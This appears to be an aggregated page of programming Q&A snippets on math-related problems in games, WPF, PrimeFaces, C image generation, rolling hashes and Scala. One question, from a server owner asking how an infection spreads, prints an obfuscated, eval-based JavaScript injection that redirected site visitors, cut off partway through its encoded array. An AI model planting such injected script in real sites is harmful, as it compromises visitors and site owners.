  • Can I randomly generate an endless road?

    - by y26jin
    So suppose we stand on a position(x0, y0) of a map. We can only move on the horizontal plane(no jump and stuff) but we can move forward, left, or right (in a discrete math way, i.e. integer movement). As soon as we move to the next position(x1, y1), everything around us is generated randomly by a program. We could be surrounded by one of mountain, lake, and road. We can only move on the road. The road is always 2D as the map itself. My question is, are we able to play this game endlessly? "End" means that we come across a dead end and the only way out is to go backward.

  • How can I implement smooth rotation from one direction to another?

    - by user1759052
    I'm having a problem with animating rotations with 1Matrix.CreateRotationY() with my basic 3D game. Based on where you click the mouse, I want the 3D object to rotate to that direction and then move. I am using this to determine the target direction: float rot = (float)(Math.Atan2(X, Z)); It gives me the correct value, but I am not sure how to handle the rotation animation from current direction to new direction. I've tried a few things, but to no avail. Do you guys know of any good ways of solving this issue?

  • System.Device.Location.GeoLocation

    - by Aligned
    Originally posted on: http://geekswithblogs.net/Aligned/archive/2013/06/26/system.device.location.geolocation.aspxA co-worker (Scott) sent out this email and it was so good I asked him if I could share it with all of you. I changed the latitude and longitude to random locations to protect the innocent. “Stumbled across this method this morning while coding all the math out by hand to calculate distances. This one is definitely worth filing away for future reference, saved me a ton of work. This was added in v4 of the framework, and is in the core framework install, so should work in services as well as client applications. var location1 = new GeoCoordinate(40.102, -94.788171); var location2 = new GeoCoordinate(50.0011, -96.699148); // distance shown is straight line meters. Console.WriteLine(location1.GetDistanceTo(location2)); Console.ReadKey();   http://msdn.microsoft.com/en-us/library/system.device.location.geocoordinate.getdistanceto(v=vs.100).aspx http://en.wikipedia.org/wiki/Haversine_formula”

  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,12

  • Primefaces tabview: set the active index on tab change

    - by Virgi
    I've got a tab view that contains two tab. When I switch from tab 1 to tab 2, I'm calling some code that executes a validation and updates some values. Depending on the result of this validation, I would like to stay on tab 1, or go to tab 2, and refresh the tabs' content. My tabview: <h:form id="form"> <p:tabView id="tabview" activeIndex="#{ctrl.idx}" dynamic="true" cache="false"> <p:ajax event="tabChange" listener="#{ctrl.doStuff}" update=":form:tabview"/> <p:tab title="Tab 1" id="t1"> <h:panelGrid columns="1" cellpadding="10"> <h:outputText value="#{ctrl.s1}"/> </h:panelGrid> </p:tab> <p:tab title="Tab 2" id="t2"> <h:panelGrid columns="1" cellpadding="10"> <h:outputText value="#{ctrl.s2}"/> </h:panelGrid> </p:tab> </p:tabView> </h:form> My test code that simly changes the values: public void doStuff() { s1 = String.valueOf(Math.random()); s2 = String.valueOf(Math.random()); } I thought that changing the active tab index in my method would be enough, like that: public void doStuff() { // ... idx = 0; } On tabChange event, the method is called but the tabview components goes to the clicked tab, ignoring the idx new value. I thought adding an update attribute to p:ajax would render the whole tabview but only the tabs and/or the tabs' content is re rendered. And weirdest of all, if I change update=":form:tabview" to update=":form" or update="@form", I only receive the tab's content in the ajax response - the component disappears from the page! My bean is viewscoped, I'm using Primefaces 3.5, JSF 2.1 and Tomcat 7. Any idea? Thanks.

  • Drag and drop in as3 on specific path (ex bezier curve)

    - by abinop
    I need to implement a drag and drop functionality, where I can define and constraint the route of the draggable object. Like in http://www.kirupa.com/forum/showthread.php?t=330302 , only that i have the paths designed and not calculated by a math function. So, in fact, as mouse moves I need to tell the object to follow the custom path/movieclip.

  • WPF Converter and NotifyOnTargetUpdated exclusive in a binding ?

    - by Mathieu Garstecki
    Hi, I have a problem with a databinding in WPF. When I try to use a value converter and set the NotifyOnTargetUpdated=True property to True, I get an XamlParseException with the following message: 'System.Windows.Data.BindingExpression' value cannot be assigned to property 'Contenu' of object 'View.UserControls.ShadowedText'. Value cannot be null. Parameter name: textToFormat Error at object 'System.Windows.Data.Binding' in markup file 'View.UserControls;component/saletotal.xaml' Line 363 Position 95. The binding is pretty standard: <my:ShadowedText Contenu="{Binding Path=Total, Converter={StaticResource CurrencyToStringConverter}, NotifyOnTargetUpdated=True}" TargetUpdated="MontantTotal_TargetUpdated"> </my:ShadowedText> (Styling properties removed for conciseness) The converter exists in the resources and works correctly when NotifyOnTargetUpdated=True is removed. Similarly, the TargetUpdated event is called and implemented correctly, and works when the converter is removed. Note: This binding is defined in a ControlTemplate, though I don't think that is relevant to the problem. Can anybody explain me what is happening ? Am I defining the binding wrong ? Are those features mutually exclusive (and in this case, can you explain why it is so) ? Thanks in advance. More info: Here is the content of the TargetUpdated handler: private void MontantTotal_TargetUpdated(object sender, DataTransferEventArgs e) { ShadowedText textBlock = (ShadowedText)e.TargetObject; double textSize = textBlock.Taille; double delta = 5; double defaultTaille = 56; double maxWidth = textBlock.MaxWidth; while (true) { FormattedText newFormat = new FormattedText(textBlock.Contenu, CultureInfo.CurrentCulture, FlowDirection.LeftToRight, new Typeface("Calibri"), textSize, (SolidColorBrush) Resources["RougeVif"]); if (newFormat.Width < textBlock.MaxWidth && textSize <= defaultTaille) { if ((Math.Round(newFormat.Width) + delta) >= maxWidth || textSize == defaultTaille) { break; } textSize++; } else { if ((Math.Round(newFormat.Width) - delta) <= maxWidth && textSize <= defaultTaille) { break; } textSize--; } } textBlock.Taille = textSize; } The role of the handler is to resize the control based on the length of the content. It is quite ugly but I want to have the functional part working before refactoring.

  • 2d trajectory planning of a spaceship with physics.

    - by egarcia
    I'm implementing a 2D game with ships in space. In order to do it, I'm using LÖVE, which wraps Box2D with Lua. But I believe that my question can be answered by anyone with a greater understanding of physics than myself - so pseudo code is accepted as a response. My problem is that I don't know how to move my spaceships properly on a 2D physics-enabled world. More concretely: A ship of mass m is located at an initial position {x, y}. It has an initial velocity vector of {vx, vy} (can be {0,0}). The objective is a point in {xo,yo}. The ship has to reach the objective having a velocity of {vxo, vyo} (or near it), following the shortest trajectory. There's a function called update(dt) that is called frequently (i.e. 30 times per second). On this function, the ship can modify its position and trajectory, by applying "impulses" to itself. The magnitude of the impulses is binary: you can either apply it in a given direction, or not to apply it at all). In code, it looks like this: def Ship:update(dt) m = self:getMass() x,y = self:getPosition() vx,vy = self.getLinearVelocity() xo,yo = self:getTargetPosition() vxo,vyo = self:getTargetVelocity() thrust = self:getThrust() if(???) angle = ??? self:applyImpulse(math.sin(angle)*thrust, math.cos(angle)*thrust)) end end The first ??? is there to indicate that in some occasions (I guess) it would be better to "not to impulse" and leave the ship "drift". The second ??? part consists on how to calculate the impulse angle on a given dt. We are in space, so we can ignore things like air friction. Although it would be very nice, I'm not looking for someone to code this for me; I put the code there so my problem is clearly understood. What I need is an strategy - a way of attacking this. I know some basic physics, but I'm no expert. For example, does this problem have a name? That sort of thing. Thanks a lot.

  • Generating moderately interesting images

    - by Williham Totland
    Abstract: Can you propose a mathematical-ish algorithm over a plane of pixels that will generate a moderately interesting image, preferably one that on the whole resembles something? The story thus far: Once upon a time I decided in an effort to reduce cycle waste on my (admittedly too) numerous computers, and set out to generate images in a moderately interesting fashion; using a PRNG and some clever math to create images that would, on the whole, resemble something. Or at least, that was the plan. As it turns out, clever math requires being a clever mathematician; this I am not. At some length I arrived at a method that preferred straight lines (as these are generally the components of which our world is made), perhaps too strongly. The result is mildly interesting; resembling, perhaps, city grids as such: Now for the question proper: Given the source code of this little program; can you improve upon it and propose a method that gives somewhat more interesting results? (e.g. not city grids, but perhaps faces, animals, geography, what have you) This is also meant as a sort of challenge; I suppose and as such I've set down some completely arbitrary and equally optional rules: The comments in the code says it all really. Suggestions and "solutions" should edit the algorithm itself, not the surrounding framework, except as for to fix errors that prevents the sample from compiling. The code should compile cleanly with a standard issue C compiler. (If the example provided doesn't, oops! Tell me, and I'll fix. :) The method should, though again, this is optional, not need to elicit help from your friendly neighborhood math library. Solutions should probably be deliverable by simply yanking out whatever is between the snip lines (the ones that say you should not edit above and below, respectively), with a statement to the effect of what you need to add to the preamble in particular. The code requires a C compiler and libpng to build; I'm not entirely confident that the MinGW compiler provides the necessities, but I would be surprised if it didn't. For Debian you'll want the libpng-dev package, and for Mac OS X you'll want the XCode tools.. The source code can be downloaded here. Warning: Massive code splurge incoming! // compile with gcc -o imggen -lpng imggen.c // optionally with -DITERATIONS=x, where x is an appropriate integer // If you're on a Mac or using MinGW, you may have to fiddle with the linker flags to find the library and includes. #include <stdio.h> #include <stdlib.h> #include <png.h> #ifdef ITERATIONS #define REPEAT #endif // ITERATIONS // YOU MAY CHANGE THE FOLLOWING DEFINES #define WIDTH 320 #define HEIGHT 240 // YOU MAY REPLACE THE FOLLOWING DEFINES AS APPROPRIATE #define INK 16384 void writePNG (png_bytepp imageBuffer, png_uint_32 width, png_uint_32 height, int iteration) { char *fname; asprintf(&fname, "out.%d.png", iteration); FILE *fp = fopen(fname, "wb"); if (!fp) return; png_structp png_ptr = png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); png_infop info_ptr = png_create_info_struct(png_ptr); png_init_io(png_ptr, fp); png_set_filter(png_ptr, PNG_FILTER_TYPE_DEFAULT, PNG_FILTER_NONE); png_set_compression_level(png_ptr, Z_BEST_COMPRESSION); png_set_IHDR(png_ptr, info_ptr, width, height, 8, PNG_COLOR_TYPE_GRAY, PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); png_set_rows(png_ptr, info_ptr, imageBuffer); png_set_invert_mono(png_ptr); /// YOU MAY COMMENT OUT THIS LINE png_write_png(png_ptr, info_ptr, PNG_TRANSFORM_IDENTITY, NULL); png_destroy_write_struct(&png_ptr, &info_ptr); fclose(fp); free(fname); } int main (int argc, const char * argv[]) { png_uint_32 height = HEIGHT, width = WIDTH; int iteration = 1; #ifdef REPEAT for (iteration = 1; iteration <= ITERATIONS; iteration++) { #endif // REPEAT png_bytepp imageBuffer = malloc(sizeof(png_bytep) * height); for (png_uint_32 i = 0; i < height; i++) { imageBuffer[i] = malloc(sizeof(png_byte) * width); for (png_uint_32 j = 0; j < width; j++) { imageBuffer[i][j] = 0; } } /// CUT ACROSS THE DASHED LINES /// ------------------------------------------- /// NO EDITING ABOVE THIS LINE; EXCEPT AS NOTED int ink = INK; int x = rand() % width, y = rand() % height; int xdir = (rand() % 2)?1:-1; int ydir = (rand() % 2)?1:-1; while (ink) { imageBuffer[y][x] = 255; --ink; xdir += (rand() % 2)?(1):(-1); ydir += (rand() % 2)?(1):(-1); if (ydir > 0) { ++y; } else if (ydir < 0) { --y; } if (xdir > 0) { ++x; } else if (xdir < 0) { --x; } if (x == -1 || y == -1 || x == width || y == height || x == y && x == 0) { x = rand() % width; y = rand() % height; xdir = (rand() % 2)?1:-1; ydir = (rand() % 2)?1:-1; } } /// NO EDITING BELOW THIS LINE /// ------------------------------------------- writePNG(imageBuffer, width, height, iteration); for (png_uint_32 i = 0; i < height; i++) { free(imageBuffer[i]); } free(imageBuffer); #ifdef REPEAT } #endif // REPEAT return 0; } Note: While this question doesn't strictly speaking seem "answerable" as such; I still believe that it can give rise to some manner of "right" answer. Maybe. Happy hunting.

  • floating point hex octal binary

    - by workinprogress
    Hi, I am working on a calculator that allows you to perform calculations past the decimal point in octal, hexadecimal, binary, and of course decimal. I am having trouble though finding a way to convert floating point decimal numbers to floating point hexadecimal, octal, binary and vice versa. The plan is to do all the math in decimal and then convert the result into the appropriate number system. Any help, ideas or examples would be appreciated. Thanks!

  • After Effect - Triangle Wave (JavaScript)

I've got this so far: freq = 20; amplitude = 8; m = amplitude; i = time*freq; m - (i % (2*m) - m); Unfortunately this gives a saw wave (see below) and my math's a bit rusty, any takers? Thanks!

  • LyX - breaking long formula lines

    - by Amir Rachum
    How can I break long formulas in LyX into two (or more) lines? I know how to write several lines of equations in one "math box" but I'm looking for a solution to break lines even in the middle of a parenthesis. I'm using LyX 1.6.4 and currently, when the formula is too big, it doesn't do anything (it just doesn't print the last segment of it, which is "beyond" the page). Is this possible in LyX?

However, I'm trying to run a simulation, and haven't found any solid equations that can be implemented to code to simulate a parabolic curve. Can those with some knowledge of physics help me on this?

  • Are there any working implementations of the rolling hash function used in the Rabin-Karp string sea

    - by c14ppy
    I'm looking to use a rolling hash function so I can take hashes of n-grams of a very large string. For example: "stackoverflow", broken up into 5 grams would be: "stack", "tacko", "ackov", "ckove", "kover", "overf", "verfl", "erflo", "rflow" This is ideal for a rolling hash function because after I calculate the first n-gram hash, the following ones are relatively cheap to calculate because I simply have to drop the first letter of the first hash and add the new last letter of the second hash. I know that in general this hash function is generated as: H = c1ak - 1 + c2ak - 2 + c3ak - 3 + ... + cka0 where a is a constant and c1,...,ck are the input characters. If you follow this link on the Rabin-Karp string search algorithm , it states that "a" is usually some large prime. I want my hashes to be stored in 32 bit integers, so how large of a prime should "a" be, such that I don't overflow my integer? Does there exist an existing implementation of this hash function somewhere that I could already use? Here is an implementation I created: public class hash2 { public int prime = 101; public int hash(String text) { int hash = 0; for(int i = 0; i < text.length(); i++) { char c = text.charAt(i); hash += c * (int) (Math.pow(prime, text.length() - 1 - i)); } return hash; } public int rollHash(int previousHash, String previousText, String currentText) { char firstChar = previousText.charAt(0); char lastChar = currentText.charAt(currentText.length() - 1); int firstCharHash = firstChar * (int) (Math.pow(prime, previousText.length() - 1)); int hash = (previousHash - firstCharHash) * prime + lastChar; return hash; } public static void main(String[] args) { hash2 hashify = new hash2(); int firstHash = hashify.hash("mydog"); System.out.println(firstHash); System.out.println(hashify.hash("ydogr")); System.out.println(hashify.rollHash(firstHash, "mydog", "ydogr")); } } I'm using 101 as my prime. Does it matter if my hashes will overflow? I think this is desirable but I'm not sure. Does this seem like the right way to go about this?

  • Does Scala's BigDecimal violate the equals/hashCode contract?

    - by oxbow_lakes
    As the Ordered trait demands, the equals method on Scala's BigDecimal class is consistent with the ordering. However, the hashcode is simply taken from the wrapped java.math.BigDecimal and is therefore inconsistent with equals. object DecTest { def main(args: Array[String]) { val d1 = BigDecimal("2") val d2 = BigDecimal("2.00") println(d1 == d2) //prints true println(d1.hashCode == d2.hashCode) //prints false } } I can't find any reference to this being a known issue. Am I missing something?
